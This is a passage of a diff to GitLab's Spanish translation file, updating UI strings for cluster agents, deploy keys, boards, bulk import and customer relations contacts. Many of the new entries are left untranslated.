@@ -1175,6 +1212,9 @@ msgstr "+%{more_reviewers_count} revisores más"
msgid "+%{tags} more"
msgstr "+%{tags} más"
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ", o "
@@ -1480,9 +1520,6 @@ msgstr "Se publicó una nueva versión %{tag} para %{name}. Visite la página de
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr "Se publicó una nueva versión %{tag} para %{name}. Visite la página de versiones para obtener más información al respecto:"
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr "Se creará una nueva rama en su proceso de fork y se iniciará una nueva solicitud de merge."
-
msgid "A new impersonation token has been created."
msgstr "Se ha creado un nuevo token de impersonación."
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr "Se ha realizado un inicio de sesión en su cuenta desde la siguiente dirección IP: %{ip}"
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr "Se requiere un título"
@@ -1570,9 +1604,6 @@ msgstr "Seleccione un método"
msgid "APIFuzzing|Choose a profile"
msgstr "Seleccione un perfil"
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr "Tokens de acceso"
msgid "Access denied for your LDAP account."
msgstr "Acceso denegado para su cuenta LDAP."
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr "¡Acceso denegado! Por favor, verifique que puede agregar las claves de despliegue a este repositorio."
-
msgid "Access denied: %{error}"
msgstr "Acceso denegado: %{error}"
@@ -1957,12 +1985,18 @@ msgstr "Añadir una lista numerada"
msgid "Add a related issue"
msgstr "Añadir una incidencia relacionada"
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr "Añadir tabla"
msgid "Add a task list"
msgstr "Añadir una lista de tareas"
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr "Añadir a tareas pendientes"
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr "Añadir una nueva aplicación"
msgid "Add new directory"
msgstr "Agregar nuevo directorio"
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr "Agregar usuarios al grupo"
msgid "Add variable"
msgstr "Añadir variable"
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr "Añadir webhook"
@@ -2164,9 +2204,6 @@ msgstr "Añadido a tareas pendientes."
msgid "Added an issue to an epic."
msgstr "Agrada una incidencia a una tarea épica."
-msgid "Added at"
-msgstr "Añadido el"
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,8 +2246,8 @@ msgstr "Añade %{epic_ref} como tarea épica hija."
msgid "Adds %{labels} %{label_text}."
msgstr "Agrega %{labels} %{label_text}."
-msgid "Adds a Zoom meeting"
-msgstr "Agregar una reunión de Zoom"
+msgid "Adds a Zoom meeting."
+msgstr ""
msgid "Adds a to do."
msgstr "Añade una tarea pendiente."
@@ -2218,8 +2255,8 @@ msgstr "Añade una tarea pendiente."
msgid "Adds an issue to an epic."
msgstr "Agregar una incidencia a una tarea épica."
-msgid "Adds email participant(s)"
-msgstr "Añadir correos electrónicos de los participantes"
+msgid "Adds email participant(s)."
+msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
msgstr "Ajusta la frecuencia con la que la interfaz de usuario de GitLab busca actualizaciones."
@@ -2314,6 +2351,9 @@ msgstr "Usuarios más recientes"
msgid "AdminArea|Maintainer"
msgstr "Mantenedor"
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr "Nuevo grupo"
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "Se ha producido un error al cargar las estadísticas. Por favor, inténtalo de nuevo"
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr "Configuración avanzada"
msgid "Advanced export options"
msgstr "Opciones de exportación avanzadas"
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr "Después de una actualización correcta de la contraseña, será redirigido a la pantalla de inicio de sesión."
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr "Después de una actualización correcta de la contraseña, se le redirigirá a la página de inicio de sesión donde podrá iniciar sesión con su nueva contraseña."
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr "Se agregará a un campo de usuario de Gitlab el nombre completo del usuario de FogBugz (por ejemplo, \"John Smith\") en la descripción de todos los errores y los comentarios. También se asociarán o asignarán estos errores y comentarios al creador del proyecto."
-msgid "An empty index will be created if one does not already exist"
-msgstr "Se creará un índice vacío si aún no existe uno"
-
msgid "An error has occurred"
msgstr "Se ha producido un error"
@@ -3550,6 +3596,9 @@ msgstr "Se ha producido un error al recuperar los datos de la lista desplegable.
msgid "An error occurred fetching the project authors."
msgstr "Se ha producido un error al recuperar los autores del proyecto."
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr "Ha ocurrido un error visualizando el blob"
@@ -3709,6 +3758,9 @@ msgstr "Se ha producido un error al cargar todos los archivos."
msgid "An error occurred while loading chart data"
msgstr "Se ha producido un error al cargar los datos del gráfico."
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr "Se ha producido un error al cargar las firmas de los commits"
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr "Ya existe una incidencia"
@@ -3930,6 +3985,9 @@ msgstr "Analizar una revisión de la versión de la aplicación web."
msgid "Analyze your dependencies for known vulnerabilities."
msgstr "Analizar sus dependencias en busca de vulnerabilidades conocidas."
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr "Analice su código fuente y el historial de Git en busca de secretos."
@@ -3972,9 +4030,6 @@ msgstr "Cualquier hito"
msgid "Any encrypted tokens"
msgstr "Cualquier token encriptado"
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr "Cualquier etiqueta"
@@ -3987,9 +4042,6 @@ msgstr "Cualquier hito"
msgid "Any namespace"
msgstr "Cualquier espacio de nombres"
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr "App ID"
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] "Aprobar %d usuario"
msgstr[1] "Aprobar %d usuarios"
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr "¿Esta seguro de que desea eliminar esto %{typeOfComment}?"
msgid "Are you sure you want to delete this SSH key?"
msgstr "¿Está seguro de que desea eliminar la clave SSH?"
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr "¿Está seguro de que desea borrar este dispositivo? Esta acción no se puede deshacer."
@@ -4669,6 +4730,9 @@ msgstr "Asignar a"
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr "Asignarse estas incidencias"
@@ -4766,6 +4830,9 @@ msgstr "Se ha producido un error al adjuntar el archivo."
msgid "Audit Events"
msgstr "Eventos de auditoría"
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr "(eliminado)"
@@ -5414,6 +5481,9 @@ msgstr "Se ha eliminado correctamente a este usuario"
msgid "Billing|Users occupying seats in"
msgstr "Usuarios que ocupan asientos en"
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr "Está a punto de eliminar al usuario %{username} de su suscripción. Si continua, el usuario será eliminado del grupo %{namespace} y todos sus subgrupos y proyectos. Esta acción no se puede deshacer."
@@ -5491,6 +5561,9 @@ msgstr "Seleccionar un proyecto"
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr "Cualquier hito"
msgid "BoardScope|Any assignee"
msgstr "Cualquier asignado"
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr "Asignado"
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr "Editar"
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr "Hito"
@@ -5518,6 +5600,9 @@ msgstr "Buscar hitos"
msgid "BoardScope|Select assignee"
msgstr "Seleccionar asignado"
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr "Seleccionar hito"
@@ -5609,6 +5694,9 @@ msgstr "Expandir"
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr "Nueva épica"
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr "Ver alcance"
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr "Importación fallida: el destino no puede ser un subgrupo del grupo de o
msgid "BulkImport|Import groups from GitLab"
msgstr "Importar grupos de GitLab"
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr "Importar seleccionados"
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr "El nombre ya existe."
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr "¿Por qué solicitar un ID de CVE?"
msgid "Cadence is not automated"
msgstr "Cadence no está automatizado"
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr "URL de callback"
@@ -6463,12 +6563,12 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr "Sin asignar"
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "ChangeTypeAction|Cherry-pick"
msgstr "Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
@@ -6517,9 +6617,6 @@ msgstr "Cambios"
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr "Cambios guardados."
@@ -6532,6 +6629,9 @@ msgstr "Cambia el título a \"%{title_param}\"."
msgid "Changes to the title have not been saved"
msgstr "No se han guardado los cambios en el título"
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,12 +6695,12 @@ msgstr "Compruebe la disponibilidad de la función en el plan de espacio de nomb
msgid "Check out, review, and merge locally"
msgstr ""
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
+msgstr ""
+
msgid "Check the current instance configuration "
msgstr "Compruebe la configuración de la instancia actual "
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
-msgstr ""
-
msgid "Check with your administrator."
msgstr ""
@@ -6660,6 +6760,9 @@ msgstr "Suscripción de GitLab de%{name}"
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr "plan %{selectedPlanText}"
msgid "Checkout|%{startDate} - %{endDate}"
msgstr "%{startDate} - %{endDate}"
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr "%{totalCiMinutes} minutos de CI"
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr "Soporte para el idioma chino utilizando"
msgid "Choose File..."
msgstr "Seleccione un archivo..."
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr "Seleccione un archivo"
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr "Clientes"
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr "Clonar"
@@ -7217,6 +7317,9 @@ msgstr "Cerrar"
msgid "Close %{issueType}"
msgstr "Cerrar %{issueType}"
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr "Cerrar %{tabname}"
@@ -7259,12 +7362,6 @@ msgstr "Cerrado: %{closed}"
msgid "Closes this %{quick_action_target}."
msgstr "Cierra este %{quick_action_target}."
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr "Clúster"
@@ -7286,17 +7383,32 @@ msgstr "Nivel de clúster"
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr "Tokens de acceso"
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
-msgstr "Métodos de instalación alternativos"
+msgid "ClusterAgents|All"
+msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
msgstr "Se ha producido un error al cargar sus agentes de GitLab"
@@ -7307,9 +7419,30 @@ msgstr "Se ha producido un error al cargar su agente"
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr "Se ha producido un error desconocido. Por favor, inténtelo de nuevo."
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr "Configuración"
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr "Copiar token"
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr "Creado por"
@@ -7328,29 +7464,32 @@ msgstr "Creado por %{name} %{time}"
msgid "ClusterAgents|Date created"
msgstr "Fecha de creación"
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr "Descripción"
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
-msgstr "Para métodos de instalación alternativos %{linkStart}vaya a la documentación%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
+msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
-msgstr "Ir al repositorio"
+msgid "ClusterAgents|GitLab Agent"
+msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
-msgstr "Instalar un nuevo agente de GitLab"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
+msgstr ""
-msgid "ClusterAgents|Install new Agent"
-msgstr "Instalar nuevo agente"
+msgid "ClusterAgents|Go to the repository files"
+msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
-msgstr "Integrar Kubernetes con un agente de GitLab"
+msgid "ClusterAgents|How to register an agent?"
+msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
-msgstr "Integrar con el agente de GitLab"
+msgid "ClusterAgents|Install a new agent"
+msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
msgstr ""
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr "Aprenda cómo crear un token de acceso del agente"
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr "Nunca"
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
-msgstr "Más información sobre cómo empezar"
+msgid "ClusterAgents|Recommended"
+msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr "Método de instalación recomendado"
+msgid "ClusterAgents|Register"
+msgstr ""
+
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
+msgstr ""
+
msgid "ClusterAgents|Registering Agent"
msgstr "Registrando agente"
msgid "ClusterAgents|Registration token"
msgstr "Token de registro"
-msgid "ClusterAgents|Select an Agent"
-msgstr "Seleccione un agente"
-
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
-msgstr "Seleccione el agente que desea registrar con GitLab e instálelo en su clúster. Para obtener más información sobre el proceso de registro de Kubernetes Agent %{linkStart}vaya a la documentación%{linkEnd}."
-
-msgid "ClusterAgents|Select which Agent you want to install"
-msgstr "Seleccione qué agente desea instalar"
+msgid "ClusterAgents|Security"
+msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
-msgstr "El agente de GitLab también requiere %{linkStart}habilitar el servidor de agente%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
+msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr "Este agente no tiene tokens"
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr "Usuario desconocido"
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr "El usuario no tiene permisos suficientes para crear un token para este proyecto"
@@ -7568,15 +7728,18 @@ msgstr "Se requiere el nombre del clúster."
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr "Clústeres conectados con un certificado"
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr "Conectar a un clúster existente"
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr "Error de conexión"
@@ -7703,9 +7866,6 @@ msgstr "Obtener proyectos"
msgid "ClusterIntegration|Fetching zones"
msgstr "Obtener zonas"
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr "Clústeres administrados por un agente de GitLab"
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "Integración GitLab"
@@ -7751,12 +7911,6 @@ msgstr "Instancia del clúster"
msgid "ClusterIntegration|Instance type"
msgstr "Tipo de instancia"
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr "Nombre de cluster de Kubernetes"
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr "El cluster Kubernetes se ha creado correctamente."
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr "Los clústeres de Kubernetes le permiten utilizar aplicaciones de revisión, desplegar sus aplicaciones, ejecutar sus pipelines y mucho más de una manera sencilla."
-
msgid "ClusterIntegration|Kubernetes version"
msgstr "Versión de Kubernetes"
@@ -8081,6 +8232,9 @@ msgstr "El certificado Kubernetes utilizado para autenticarse en el clúster."
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr "La URL utilizada para acceder a la API de Kubernetes."
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr "No se puede conectar"
msgid "ClusterIntegration|Unknown Error"
msgstr "Error desconocido"
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr "Utiliza los complementos Cloud Run, Istio y balanceo de carga HTTP para este clúster."
@@ -8192,9 +8349,6 @@ msgstr "Se ha producido un error al cargar los clústeres"
msgid "Code"
msgstr "Código"
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr "Cobertura del código: %{coveragePercentage}%{percentSymbol}"
@@ -8231,6 +8385,9 @@ msgstr "Propietarios del código"
msgid "Code review"
msgstr "Revisión de código"
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr "Configurar integraciones"
msgid "Configure Prometheus"
msgstr "Configurar Prometheus"
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr "Configurar seguimiento"
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr "Configure la forma en la que un usuario crea una cuenta nueva."
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr "Último uso"
msgid "CorpusManagement|Latest Job:"
msgstr "Último trabajo:"
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr "Crear %{type}"
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr "Crear Nuevo Directorio"
@@ -9736,6 +9902,9 @@ msgstr "Crear versión"
msgid "Create requirement"
msgstr "Crear requisito"
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr "Crear fragmento de código"
@@ -9769,9 +9938,6 @@ msgstr "No tiene permisos para crear grupos."
msgid "CreateTag|Tag"
msgstr "Etiqueta"
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr "crear un token de acceso personal"
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr "%{name} (por defecto)"
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr "Vulnerabilidades críticas presentes"
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
